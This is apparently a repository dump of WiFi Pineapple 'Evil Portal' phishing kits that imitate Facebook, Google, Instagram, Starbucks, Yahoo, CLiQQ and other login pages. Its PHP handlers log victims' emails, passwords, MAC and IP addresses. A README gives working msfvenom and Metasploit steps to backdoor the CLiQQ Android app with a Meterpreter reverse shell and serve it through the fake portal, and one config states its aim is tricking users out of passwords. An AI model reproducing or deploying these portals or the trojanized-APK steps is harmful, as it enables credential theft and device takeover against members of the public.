├── Evil Portals └── portals │ ├── cliqq-payload │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── README.md │ ├── assets │ │ ├── css │ │ │ └── wifi.css │ │ └── img │ │ │ ├── 7-11.ico │ │ │ ├── auto-sign-in.png │ │ │ └── cliqqwifi.png │ ├── cliqq-payload.ep │ ├── helper.php │ ├── index.php │ └── jquery-2.2.1.min.js │ ├── device-modal │ ├── config.ini │ └── html │ │ ├── index.html │ │ └── static │ │ ├── css │ │ └── framework7.material.min.css │ │ ├── fonts │ │ ├── segoeui-bold.ttf │ │ └── segoeui.ttf │ │ ├── js │ │ ├── framework7.min.js │ │ └── kitchen-sink.js │ │ └── libs │ │ └── jquery.min.js │ ├── facebook-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── assets │ │ ├── css │ │ │ ├── PGNbJWSeFxY.css │ │ │ └── fBTqFRkifHK.css │ │ └── img │ │ │ ├── 1lDsteNqRLb.png │ │ │ ├── O2aKM2iSbOw.png │ │ │ └── dF5SId3UHWd.svg │ ├── config.ini │ ├── facebook-login.ep │ ├── helper.php │ ├── html │ │ ├── index.html │ │ ├── loading.html │ │ └── static │ │ │ ├── css │ │ │ ├── PGNbJWSeFxY.css │ │ │ └── fBTqFRkifHK.css │ │ │ ├── img │ │ │ ├── 1lDsteNqRLb.png │ │ │ ├── O2aKM2iSbOw.png │ │ │ └── dF5SId3UHWd.svg │ │ │ └── js │ │ │ └── jquery-3.5.1.min.js │ └── index.php │ ├── firmware_upgrade_2 │ ├── config.ini │ └── html │ │ ├── css │ │ └── style.css │ │ ├── fonts │ │ ├── Lato-Bold.eot │ │ ├── Lato-Bold.ttf │ │ ├── Lato-Bold.woff │ │ ├── Lato-Bold.woff2 │ │ ├── Lato-BoldItalic.eot │ │ ├── Lato-BoldItalic.ttf │ │ ├── Lato-Regular.eot │ │ ├── Lato-Regular.ttf │ │ ├── Lato-Regular.woff │ │ └── Lato-Regular.woff2 │ │ ├── img │ │ ├── SVG │ │ │ ├── bug.svg │ │ │ ├── connection.svg │ │ │ ├── meter.svg │ │ │ └── shield.svg │ │ ├── favicon.png │ │ ├── sea-large.jpg │ │ ├── sea-small.jpg │ │ ├── sprites.svg │ │ └── stars.jpg │ │ ├── index.html │ │ └── js │ │ └── script.js │ ├── google-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── README.md │ ├── assets │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ ├── custom.css │ │ │ └── progress-bar.css │ │ ├── fonts │ │ │ ├── OpenSans-Regular.ttf │ │ │ └── Roboto-Regular.ttf │ │ ├── images │ │ │ └── favicon.ico │ │ └── js │ │ │ ├── bootstrap.min.js │ │ │ ├── custom.js │ │ │ ├── jquery-3.4.1.min.js │ │ │ └── jquery-ui.min.js │ ├── config.ini │ ├── google-login.ep │ ├── helper.php │ ├── html │ │ ├── index.html │ │ ├── loading.html │ │ └── static │ │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ ├── custom.css │ │ │ └── progress-bar.css │ │ │ ├── fonts │ │ │ ├── OpenSans-Regular.ttf │ │ │ └── Roboto-Regular.ttf │ │ │ ├── img │ │ │ └── favicon.ico │ │ │ └── js │ │ │ ├── bootstrap.min.js │ │ │ ├── custom.js │ │ │ ├── jquery-3.4.1.min.js │ │ │ └── jquery-ui.min.js │ └── index.php │ ├── gopro-phish │ ├── config.ini │ └── html │ │ ├── index.html │ │ ├── loading.html │ │ └── static │ │ ├── attention.png │ │ ├── bootstrap.min.css │ │ ├── bootstrap.min.js │ │ ├── goproInc-light.woff │ │ ├── goproInc-medium.woff │ │ ├── jquery.min.js │ │ ├── logo.jpg │ │ └── style.css │ ├── instagram-login │ ├── MyPortal.php │ ├── assets │ │ ├── css │ │ │ ├── 0608bd6190e0.css │ │ │ ├── 1b39124c7396.css │ │ │ ├── 344096cb1b73.css │ │ │ ├── 6c761c8cd379.css │ │ │ ├── c71018ea1251.css │ │ │ └── style.css │ │ ├── img │ │ │ ├── 177140221987.jpg │ │ │ ├── 180ae7a0bcf7.png │ │ │ ├── 32f0a4f27407.png │ │ │ ├── 36b3ee2d91ed.ico │ │ │ ├── 43cc71bb1b43.png │ │ │ ├── 5e04169b9308.jpg │ │ │ ├── 9144d6673849.jpg │ │ │ ├── 9364675fb26a.png │ │ │ ├── b27a108592d8.jpg │ │ │ ├── bcd90c1d4868.png │ │ │ ├── e9cd846dc748.png │ │ │ └── ff2c097a681e.jpg │ │ └── js │ │ │ └── jquery-3.5.1.min.js │ ├── config.ini │ ├── helper.php │ ├── html │ │ ├── index.html │ │ └── static │ │ │ ├── css │ │ │ ├── 0608bd6190e0.css │ │ │ ├── 1b39124c7396.css │ │ │ ├── 344096cb1b73.css │ │ │ ├── 6c761c8cd379.css │ │ │ ├── c71018ea1251.css │ │ │ └── style.css │ │ │ ├── img │ │ │ ├── 177140221987.jpg │ │ │ ├── 180ae7a0bcf7.png │ │ │ ├── 32f0a4f27407.png │ │ │ ├── 36b3ee2d91ed.ico │ │ │ ├── 43cc71bb1b43.png │ │ │ ├── 5e04169b9308.jpg │ │ │ ├── 9144d6673849.jpg │ │ │ ├── 9364675fb26a.png │ │ │ ├── b27a108592d8.jpg │ │ │ ├── bcd90c1d4868.png │ │ │ ├── e9cd846dc748.png │ │ │ └── ff2c097a681e.jpg │ │ │ └── js │ │ │ └── jquery-3.5.1.min.js │ ├── index.php │ └── instagram-login.ep │ ├── o2-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── assets │ │ ├── css │ │ │ ├── fonts.css │ │ │ ├── normalize.min.css │ │ │ └── style.css │ │ ├── fonts │ │ │ ├── Lato-700.woff2 │ │ │ └── Lato-regular.woff2 │ │ └── img │ │ │ ├── logo-o2.svg │ │ │ ├── logo-white.png │ │ │ └── ymwp832k1s.png │ ├── helper.php │ ├── index.php │ ├── jquery-2.2.1.min.js │ ├── license.txt │ └── o2-login.ep │ ├── starbucks-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── assets │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ └── style.css │ │ └── img │ │ │ ├── 5atoko1sqg.png │ │ │ ├── pa6dyy5wcc.png │ │ │ └── s5g1cxz9vr.png │ ├── config.ini │ ├── helper.php │ ├── html │ │ ├── index.html │ │ ├── license.txt │ │ ├── loading.html │ │ └── static │ │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ └── style.css │ │ │ ├── img │ │ │ ├── 5atoko1sqg.png │ │ │ ├── pa6dyy5wcc.png │ │ │ └── s5g1cxz9vr.png │ │ │ └── js │ │ │ ├── index.js │ │ │ └── jquery.min.js │ ├── index.php │ ├── jquery-2.2.1.min.js │ └── starbucks-login.ep │ ├── twitter-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── assets │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ └── style.css │ │ └── img │ │ │ ├── j35g5c9082.png │ │ │ └── oxvhareuw0.png │ ├── helper.php │ ├── index.php │ ├── jquery-2.2.1.min.js │ └── twitter-login.ep │ └── yahoo-login │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── assets │ ├── css │ │ └── yahoo-main.css │ ├── fonts │ │ ├── Yahoo_Sans-Medium.woff2 │ │ ├── Yahoo_Sans-Regular.woff2 │ │ └── Yahoo_Sans-Semibold.woff2 │ └── img │ │ ├── yahoo-apple-touch-v0.0.2.png │ │ ├── yahoo-favicon-img-v0.0.2.ico │ │ ├── yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png │ │ └── yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png │ ├── config.ini │ ├── helper.php │ ├── html │ ├── index.html │ ├── loading.html │ └── static │ │ ├── css │ │ └── yahoo-main.css │ │ ├── fonts │ │ ├── Yahoo_Sans-Medium.woff2 │ │ ├── Yahoo_Sans-Regular.woff2 │ │ └── Yahoo_Sans-Semibold.woff2 │ │ ├── img │ │ ├── yahoo-apple-touch-v0.0.2.png │ │ ├── yahoo-favicon-img-v0.0.2.ico │ │ ├── yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png │ │ └── yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png │ │ └── js │ │ └── jquery-3.5.1.min.js │ ├── index.php │ └── yahoo-login.ep ├── Kismet ├── dependencyInstall.sh ├── wardrive.sh └── wardriveUSB.sh ├── Screenshots ├── Activated.PNG ├── EvilPortal.PNG ├── EvilPortalPage.PNG ├── EvilPortalPin.PNG ├── GoogleEx.PNG ├── Pin.PNG ├── TestCreds.PNG └── plugin.PNG └── readme.md /Evil Portals/portals/cliqq-payload/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 16 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "mobileNumber: {$mobileNumber}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 17 | $this->execBackground("notify $mobileNumber"); 18 | } 19 | // handle form input or other extra things there 20 | 21 | // Call parent to handle basic authorization first 22 | parent::handleAuthorization(); 23 | 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/README.md: -------------------------------------------------------------------------------- 1 | ## CLiQQ WiFi payload distributor 2 | 3 | ### Usage 4 | Include this line on /etc/nginx/mime.types and then reboot the Pineapple or else the browser will parse the apk file into plain text 5 | 6 | application/vnd.android.package-archive apk; 7 | 8 | Embedding payload on [original apk file](https://apkpure.com/cliqq-every-day-rewards/com.philseven.loyalty) 9 | 10 | msfvenom -x CLiQQ.apk -p android/meterpreter/reverse_tcp LHOST=172.16.42.42 LPORT=4444 -o CLiQQ_final.apk 11 | 12 | Moving and renaming the modified apk file to the Pineapple 13 | 14 | scp CLiQQ_final.apk root@172.16.42.1:/sd/portals/cliqq-payload/CLiQQ.apk 15 | 16 | Starting Metasploit listener 17 | 18 | msfconsole 19 | 20 | use multi/handler 21 | 22 | set payload android/meterpreter/reverse_tcp 23 | 24 | set LHOST 172.16.42.42 25 | 26 | set LPORT 4444 27 | 28 | set ExitOnSession false 29 | 30 | exploit -j -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/assets/img/7-11.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/cliqq-payload/assets/img/7-11.ico -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/assets/img/auto-sign-in.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/cliqq-payload/assets/img/auto-sign-in.png -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/assets/img/cliqqwifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/cliqq-payload/assets/img/cliqqwifi.png -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/cliqq-payload.ep: -------------------------------------------------------------------------------- 1 | {"name":"cliqq-payload","type":"basic"} -------------------------------------------------------------------------------- /Evil Portals/portals/cliqq-payload/helper.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 25 |
26 |
27 |
28 |
29 |
30 | 31 |
32 |
33 |
34 | 35 |

If you have the CLiQQ app, you are automatically signed in. You may 36 | close this window now.

37 | 38 |

For Android phone users, if you don't have the CLiQQ app, you may 39 | click on the link below to download the APK

40 | 41 | 44 | Download here 45 |
46 |
47 |

Or you may use manual sign-in below to get internet access and 48 | download the app from Play Store or App Store.

49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |

Auto Sign-in

57 |
58 |

If the auto-sign-in is enabled, you are automatically signed in when you enter a CLiQQ WiFi hotspot. Make sure the WiFi switch is set to ON.

59 | 60 |
61 |
62 |
63 |
64 |
65 |

Manual Sign-in

66 |
67 |

For the best experience, download the app to enable auto-sign-in. 68 | Tap on the button below to gain internet access and download the CLiQQ app from the app store.

69 |
70 |
71 |
72 |
73 |
92 |
93 |
94 |
95 |
96 | 97 | 98 | -------------------------------------------------------------------------------- /Evil Portals/portals/device-modal/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Device Modal 3 | Description: Shows the iOS/Android WiFi login modal on phones and tablets. Shows a Chrome login modal for a .htaccess restricted page on desktops/laptops. 4 | 5 | [context] 6 | login_title: Authentication Required 7 | -------------------------------------------------------------------------------- /Evil Portals/portals/device-modal/html/static/fonts/segoeui-bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/device-modal/html/static/fonts/segoeui-bold.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/device-modal/html/static/fonts/segoeui.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/device-modal/html/static/fonts/segoeui.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/assets/img/1lDsteNqRLb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/facebook-login/assets/img/1lDsteNqRLb.png -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/assets/img/O2aKM2iSbOw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/facebook-login/assets/img/O2aKM2iSbOw.png -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/assets/img/dF5SId3UHWd.svg: -------------------------------------------------------------------------------- 1 | FBWordmark_Hex-RGB-1024 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Facebook Login 3 | Description: A page asking for Facebook credentials, scenario by Kleo Bercero(https://github.com/kbeflo) 4 | 5 | [context] 6 | login_title: Facebook - Log In -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/facebook-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"facebook-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/facebook-login/helper.php: -------------------------------------------------------------------------------- 1 | FBWordmark_Hex-RGB-1024 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Firmware Upgrade Page 2 3 | Description: A modern web page to trick users to provide their passwords for an upgrade. 4 | 5 | [context] 6 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/css/style.css: -------------------------------------------------------------------------------- 1 | *,*::before,*::after{margin:0;padding:0;box-sizing:inherit}html{font-size:62.5%}@media only screen and (max-width: 75em){html{font-size:56.25%}}@media only screen and (max-width: 56.25em){html{font-size:50%}}@media only screen and (min-width: 112.5em){html{font-size:75%}}body{box-sizing:border-box;padding:3rem}@media only screen and (max-width: 56.25em){body{padding:0}}::-moz-selection{background-color:#097054;color:#fff}::selection{background-color:#097054;color:#fff}@-webkit-keyframes moveInLeft{0%{opacity:0;-webkit-transform:translateX(-10rem);transform:translateX(-10rem)}70%{-webkit-transform:translateX(4rem);transform:translateX(4rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@keyframes moveInLeft{0%{opacity:0;-webkit-transform:translateX(-10rem);transform:translateX(-10rem)}70%{-webkit-transform:translateX(4rem);transform:translateX(4rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@-webkit-keyframes moveInRight{0%{opacity:0;-webkit-transform:translateX(10rem);transform:translateX(10rem)}80%{-webkit-transform:translateX(-1rem);transform:translateX(-1rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@keyframes moveInRight{0%{opacity:0;-webkit-transform:translateX(10rem);transform:translateX(10rem)}80%{-webkit-transform:translateX(-1rem);transform:translateX(-1rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@-webkit-keyframes moveInBottom{0%{opacity:0;-webkit-transform:translateY(3rem);transform:translateY(3rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@keyframes moveInBottom{0%{opacity:0;-webkit-transform:translateY(3rem);transform:translateY(3rem)}100%{opacity:1;-webkit-transform:translate(0);transform:translate(0)}}@-webkit-keyframes spinClockWise{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinClockWise{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@font-face{font-family:'Lato';src:url("fonts/Lato-Regular.eot");src:url("fonts/Lato-Regular.eot?#iefix") format("embedded-opentype"),url("fonts/Lato-Regular.woff2") format("woff2"),url("fonts/Lato-Regular.woff") format("woff"),url("fonts/Lato-Regular.ttf") format("truetype");font-weight:400}@font-face{font-family:'Lato';src:url("fonts/Lato-Bold.eot");src:url("fonts/Lato-Bold.eot?#iefix") format("embedded-opentype"),url("fonts/Lato-Bold.woff2") format("woff2"),url("fonts/Lato-Bold.woff") format("woff"),url("fonts/Lato-Bold.ttf") format("truetype");font-weight:700}body{font-family:"Lotto", sans-serif;font-weight:400;line-height:1.7;color:#3d3c36}.heading-primary{color:#fff;text-transform:uppercase;margin-bottom:6rem}.heading-primary--main{display:block;font-size:5rem;font-weight:400;letter-spacing:2.5rem;-webkit-animation-name:moveInLeft;animation-name:moveInLeft;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@media only screen and (max-width: 37.5em){.heading-primary--main{font-size:4rem;letter-spacing:1rem}}.heading-primary--sub{display:block;font-size:2rem;font-weight:700;letter-spacing:1.5rem;-webkit-animation-name:moveInRight;animation-name:moveInRight;-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@media only screen and (max-width: 37.5em){.heading-primary--sub{font-size:1.7rem;letter-spacing:.5rem}}.heading-secondary{font-size:3.5rem;font-weight:700;text-transform:uppercase;display:inline-block;-webkit-background-clip:text;background-clip:text;background-image:linear-gradient(to right, #15ecb2, #1e392a);color:transparent;transition:all .2s;letter-spacing:.2rem}.heading-secondary:hover{-webkit-transform:skewX(15deg) skewY(2deg);transform:skewX(15deg) skewY(2deg);text-shadow:0.5rem 1rem 2rem rgba(0,0,0,0.2)}@media only screen and (max-width: 56.25em){.heading-secondary{font-size:3rem}}@media only screen and (max-width: 37.5em){.heading-secondary{font-size:2.5rem}}.heading-tertiary{font-size:1.6rem;font-weight:700;text-transform:uppercase}.paragraph{font-size:1.6rem}.paragraph:not(:last-child){margin-bottom:3rem}.u-center-text{text-align:center !important}.u-margin-bottom-huge{margin-bottom:20rem !important}.u-margin-bottom-big{margin-bottom:8rem !important}.u-margin-bottom-medium{margin-bottom:4rem !important}.u-margin-bottom-small{margin-bottom:1.5rem !important}.u-margin-top-big{margin-top:8rem !important}.u-margin-top-huge{margin-top:10rem !important}.btn,.btn:link,.btn:visited{text-transform:uppercase;text-decoration:none;padding:1.5rem 4rem;display:inline-block;border-radius:10rem;transition:all .2s;position:relative;font-size:1.6rem;border:none;cursor:pointer}.btn:hover{-webkit-transform:translateY(-0.3rem);transform:translateY(-0.3rem);box-shadow:0 1rem 2rem rgba(0,0,0,0.2)}.btn:hover::after{-webkit-transform:scaleX(1.4) scaleY(1.6);transform:scaleX(1.4) scaleY(1.6);opacity:0}.btn:active,.btn:focus{outline:none;-webkit-transform:translateY(-0.1rem);transform:translateY(-0.1rem);box-shadow:0 0.5rem 1rem rgba(0,0,0,0.2)}.btn::after{content:"";display:inline-block;height:100%;width:100%;border-radius:10rem;position:absolute;top:0;left:0;z-index:-1;transition:all .4s}.btn--white{background-color:#fff;color:#3d3c36}.btn--white::after{background-color:#fff}.btn--green{background-color:#097054;color:#fff}.btn--green::after{background-color:#097054}.btn--animation{-webkit-animation:moveInBottom 0.5s ease-out 0.75s;animation:moveInBottom 0.5s ease-out 0.75s;-webkit-animation-fill-mode:backwards;animation-fill-mode:backwards}.btn-text:link,.btn-text:visited{color:#097054;font-size:1.6rem;display:inline-block;text-decoration:none;border-bottom:0.1rem solid #097054;padding:.3rem;transition:all .2s}.btn-text:hover{background-color:#097054;color:#fff;box-shadow:0 1rem 2rem rgba(0,0,0,0.15);-webkit-transform:translateY(-0.2rem);transform:translateY(-0.2rem)}.btn-text:active{box-shadow:0 0.5rem 1rem rgba(0,0,0,0.15);-webkit-transform:translateY(0);transform:translateY(0)}.feature-box{display:flex;justify-content:space-around;align-content:space-between;flex-wrap:wrap}@media only screen and (max-width: 56.25em){.feature-box{flex-direction:column}}.feature-box__items{flex:0 1 40%;text-align:center;padding:3rem;margin:3rem;border-radius:.5rem;transition:all .5s ease-out;box-shadow:0 1.5rem 4rem rgba(0,0,0,0.2)}.feature-box__items:hover,.feature-box__items:active{-webkit-transform:translateY(-1.5rem) scale(1.1);transform:translateY(-1.5rem) scale(1.1)}.feature-box__text{font-size:1.6rem;color:#3d3c36}.feature-box__icon{height:8rem;width:8rem;fill:#FF6600}.form__group:not(:last-child){margin-bottom:2rem}.form__label{font-size:1.2rem;font-weight:700;margin-left:2rem;margin-top:.75rem;transition:all .3s;display:block}.form__input{font-size:1.5rem;padding:1.5rem 2rem;border-radius:.2rem;background-color:rgba(255,255,255,0.5);border:none;border-bottom:.3rem solid transparent;font-family:inherit;color:inherit;width:90%;display:block;transition:all .3s}.form__input:focus{outline:none;box-shadow:0 1rem 2rem rgba(0,0,0,0.1);border-bottom:0.3rem solid #097054}.form__input:focus:invalid{border-bottom:0.3rem solid #ff7730}.form__input::input-placeholder{color:#999}.form__input:placeholder-shown+.form__label{opacity:0;visibility:hidden;-webkit-transform:translateY(-4rem);transform:translateY(-4rem)}.progress{align-self:center;position:relative}.progress__bar{height:30rem;width:30rem;background-color:#003366;border-radius:50%;border:2rem solid #3d3c36;display:flex;justify-content:center;box-shadow:0 2rem 4rem rgba(0,0,0,0.3);transition:all .3s ease-out}.progress__bar--animate{border-top:2rem solid #fff;-webkit-animation:spinClockWise 3s infinite linear;animation:spinClockWise 3s infinite linear}.progress__bar:hover{-webkit-transform:scale(1.2);transform:scale(1.2)}.progress__text{color:#CCCC99;text-align:center;position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%, -50%);transform:translate(-50%, -50%)}.progress__text--main{font-size:6rem;font-weight:100}.progress__text--sub{font-size:3rem}.progress__text>*{display:block}.header{height:95vh;background-image:linear-gradient(to right bottom, rgba(21,236,178,0.8), rgba(30,57,42,0.8)),url(../img/sea-small.jpg);background-position:top;background-size:cover;-webkit-clip-path:polygon(0 0, 100% 0, 100% 75vh, 0 100%);clip-path:polygon(0 0, 100% 0, 100% 75vh, 0 100%);position:relative}@media only screen and (-webkit-min-device-pixel-ratio: 2) and (min-width: 37.5em), only screen and (min-resolution: 192dpi) and (min-width: 37.5em), only screen and (min-width: 125em){.header{background-image:linear-gradient(to right bottom, rgba(21,236,178,0.8), rgba(30,57,42,0.8)),url(../img/sea-large.jpg)}}@media only screen and (max-width: 37.5em){.header{-webkit-clip-path:polygon(0 0, 100% 0, 100% 85vh, 0 100%);clip-path:polygon(0 0, 100% 0, 100% 85vh, 0 100%)}}.header__text-box{position:absolute;top:40%;left:50%;-webkit-transform:translate(-50%, -50%);transform:translate(-50%, -50%);text-align:center;width:100%}.footer{background-color:#2a2a2a;padding:8rem 0;font-size:1.4rem;color:#f7f7f7;display:flex;justify-content:center;align-items:center}.footer__copyright{width:80%;border-top:0.2rem solid #eee}.section-new{background-color:#f7f7f7;margin-top:-20vh;padding:25rem 0 30rem 0}.section-update{background-image:linear-gradient(to right bottom, #15ecb2, #1e392a);margin-top:-10rem;padding:20rem 5rem;display:flex;flex-direction:column}.update{background-image:linear-gradient(105deg, rgba(255,255,255,0.9) 0%, rgba(255,255,255,0.9) 50%, transparent 50%),url(../img/stars.jpg);background-size:cover;border-radius:.3rem;box-shadow:0 1.5rem 4rem rgba(0,0,0,0.2)}@media only screen and (max-width: 75em){.update{background-image:linear-gradient(105deg, rgba(255,255,255,0.9) 0%, rgba(255,255,255,0.9) 60%, transparent 60%),url(../img/stars.jpg)}}@media only screen and (max-width: 56.25em){.update{background-image:linear-gradient(to right, rgba(255,255,255,0.85), rgba(255,255,255,0.85)),url(../img/stars.jpg)}}@media only screen and (max-width: 37.5em){.update{background-image:linear-gradient(to right, rgba(255,255,255,0.9), rgba(255,255,255,0.9)),url(../img/stars.jpg)}}.update__form{width:50%;padding:6rem}@media only screen and (max-width: 75em){.update__form{width:60%}}@media only screen and (max-width: 56.25em){.update__form{width:100%}} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.eot -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.woff -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Bold.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-BoldItalic.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-BoldItalic.eot -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-BoldItalic.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.eot -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil 